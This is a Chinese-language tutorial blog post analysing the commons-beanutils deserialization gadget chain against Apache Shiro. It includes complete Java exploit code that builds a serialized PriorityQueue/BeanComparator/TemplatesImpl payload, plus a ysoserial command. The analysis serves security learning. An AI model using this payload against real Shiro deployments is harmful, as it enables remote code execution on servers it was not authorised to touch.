Shiro反序列化漏洞-shiro无依赖利用链

Shiro反序列化漏洞-shiro无依赖利用链

前言

之前说过Shiro默认的包里就是没有CC依赖的,我们想打只能打Shiro本身自带的依赖commons-beanutils,因为这些依赖里只有它有完整的反序列化利用链,所以今天分析一下这个漏洞,再来分析下它在Shiro里面怎么用。

漏洞分析

commons-beanutils简写CB,它跟我们直接学的CC很像,也是一种对Java内置功能的加强。我们知道CC是对Java集合类的增强,CB是对JavaBean的增强。

岔开来稍微讲一下什么是JavaBean,有很多class的定义都符合这样的规范:

  • 若干private实例字段;
  • 通过public方法来读写实例字段。

例如:

1
2
3
4
5
6
7
8
9
10
public class Person {
private String name;
private int age;

public String getName() { return this.name; }
public void setName(String name) { this.name = name; }

public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }
}

JavaBean主要用来传递数据,即把一组数据组合成一个JavaBean便于传输。

说白了就是函数调用的方式获取属性,CB提供了字符串获取的方法,这个方法是getProperty ,它是在一个对象上面,直接获取它的属性值,比如

1
2
3
4
public static void main(String[] args) throws Exception {
Person person = new Person("lotus", 123);
System.out.println(PropertyUtils.getProperty(person,"age"));
}

这里就自动调用了Person类的getName方法。这里就是一个动态的执行代码的地方,很容易联想到会不会有安全问题。设置一个断点看一看底层是怎么实现的。

调用了getProperty,然后又调用了另一个对象的getProperty

image-20230127213711832

里面调用了getNestedProperty这个函数,Nested可以理解为嵌套的意思,这里处理的类叫做PropertyUtilsBean

image-20230127214238524

接着经过一系列判断,判断bean是否为空,属性值是否为空,下面再经过一个类似Switch的判断,如果是Map就调用Map,是索引就调用索引,这里我们都不是,就走到了getSimpleProperty

image-20230127220022809

进入getSimpleProperty里,里面获取到属性的描述符

image-20230127215901607

看看这个descriptor,可以看到我们传的是age,它返回了Bean的属性值的名字(驼峰命名),它的set方法和get方法

image-20230127220505257

往下getReadMethod找对应的方法,在这里就是getAge方法

image-20230127221940287

获取完进行反射调用

image-20230127222319352

这里的反射调用也很直白,就是对我们传递的对象,来调用符合JavaBean格式的方法,get方法,这里就走完了。

image-20230127222529968

我们在讲CC3那条链子的时候,讲到了TemplatesImpl这个类,它里面有个getOutputProperties方法,这个方法调用了newTransformer,我们当时知道newTransformer是可以动态加载类的,也就是能代码执行的。getOutputProperties相当于也是一个可以代码执行的点,同时getOutputProperties的方法get打头,符合Javabean的格式,也就是说如果我们对一个Template对象调用这个方法,就可以代码执行。

image-20230128120302717

试着看看能不能成功调用,直接拿CC3的payload就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class BeanTest {
public static void main(String[] args) throws Exception {
Person person = new Person("lotus", 123);
// System.out.println(PropertyUtils.getProperty(person,"age"));

TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"lotus");
Field bytecodeseField = tc.getDeclaredField("_bytecodes");
bytecodeseField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodeseField.set(templates,codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

PropertyUtils.getProperty(templates,"outputProperties");
}
}

成功的调用了getOutputProperties,这里有个细节,使用getProperty方法的时候,里面的属性值需要小写开头

image-20230128121704380

所以我们知道如果调用了PropertyUtils.getProperty,并且这个属性值我们可以控制的话,就可以实现任意执行代码,所以现在要做的就是将getProperty方法放到反序列化链里,反过来去找它的上层。思路和其他找反序列化的思路一样,Find Usage

BeanComparator这个类的compare方法中找到了调用getProperty,这个属性还是可以控制的。之前在CC2的时候优先队列用到了transformingComparator这个方法,能串到compare方法,且优先队列的值我们也是可以控制的,这就相当于把这条链子串起来了

image-20230128122353658

链子流程如下

image-20230128130309521

可以构造的Exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public class ShiroCB {

public static void main(String[] args) throws Exception {
// CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"lotus");
Field bytecodeseField = tc.getDeclaredField("_bytecodes");
bytecodeseField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodeseField.set(templates,codes);

// CB
BeanComparator beanComparator = new BeanComparator("outputProperties");

// CC2

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparatorField = priorityQueueClass.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);

serialize(priorityQueue);
// unserialize("ser.bin");
}


public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

寻思着这样应该就构造出利用链了,然而实际运行起来会报错,它这里说没有办法加载到CC底下的一个类,这就很奇怪了,明明没有用CC的依赖为什么会报这个错呢?

image-20230128135500164

实际上这是CB在设计的时候,很多地方会和CC有重叠的地方。BeanComparator的构造函数里传了一个ComparableComparator,这个类又是CC里面的

image-20230128135805385 image-20230128135831481

问题也很好解决,BeanComparator还有一个构造函数,我们可以自己传一个CB里面有或者JDK里面有的comparators就行了。因为我们要反序列化,所以这个comparators的条件就是1、继承Comparator接口 2、继承serializable接口

可以把这符合这两个的接口列出来,简单的写个脚本,取交集

1
2
3
4
5
6
7
8
9
10
11
12
13
with open('comparator.txt') as f:
data = f.readline()
coms = []
while data:
coms.append(data)
data = f.readline()
with open('serializable.txt') as d:
data = d.readline()
sers = []
while data:
sers.append(data)
data = d.readline()
print(*[i for i in coms if i in sers])

运行出来的结果就这么几个,挨个看看

image-20230128141104077

第一个AttrCompare就挺好,public的

image-20230128141216120

payload里只需要在CB的部分添加自己的comparatorsAttrCompare就可以了,完整的payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class ShiroCB {

public static void main(String[] args) throws Exception {
// CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"lotus");
Field bytecodeseField = tc.getDeclaredField("_bytecodes");
bytecodeseField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodeseField.set(templates,codes);

// CB
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

// CC2

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparatorField = priorityQueueClass.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);

serialize(priorityQueue);
// unserialize("ser.bin");
}

public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

生成加密后的payload,成功执行

image-20230128141637944

这就是完全原生的打Shiro的攻击方法,就打commons-beanutils这条链子,这条链子需要注意的地方是commons-beanutils默认是依赖CC的,所以要把它改成不依赖的CC的版本,具体的实现方式就是自己传一个一个comparators

还有一个细节,如果我们打ysoserial官方的CommonsBeanutils1的payload,实际上会报错

1
java -jar ysoserial-all.jar CommonsBeanutils1 calc > ser.bin

image-20230128143215181

它报的错是serialVersionUID不匹配,为什么会有这个错呢?实际上这是依赖库版本的问题,ysoserial带的CB版本是1.9.2,而Shiro自带的版本是1.8.3,所以打的时候会出现依赖不一样的错误,而我们先前打的依赖版本和目标一致。

image-20230128143444960

漏洞利用的时候也可能会有这种问题,平时需要多多注意,毕竟工具写的都是死的。

后记

今天讲了shiro无依赖利用链,也就是打的commons-beanutils这条链子,它主要两个问题,一个刚刚说依赖版本问题,另一个就是默认会依赖CC依赖的问题。

主要介绍了commons-beanutils这条链子的利用,它引出了一种基于JavaBean的反序列化攻击方式,这种攻击方式后续还是会经常用的到,包括像一些fastjson这种,也会用到这种基于JavaBean的攻击方式

参考连接:

[1] Shiro反序列化漏洞_哔哩哔哩

[2] 小姐姐带你看Shiro反序列化漏洞利用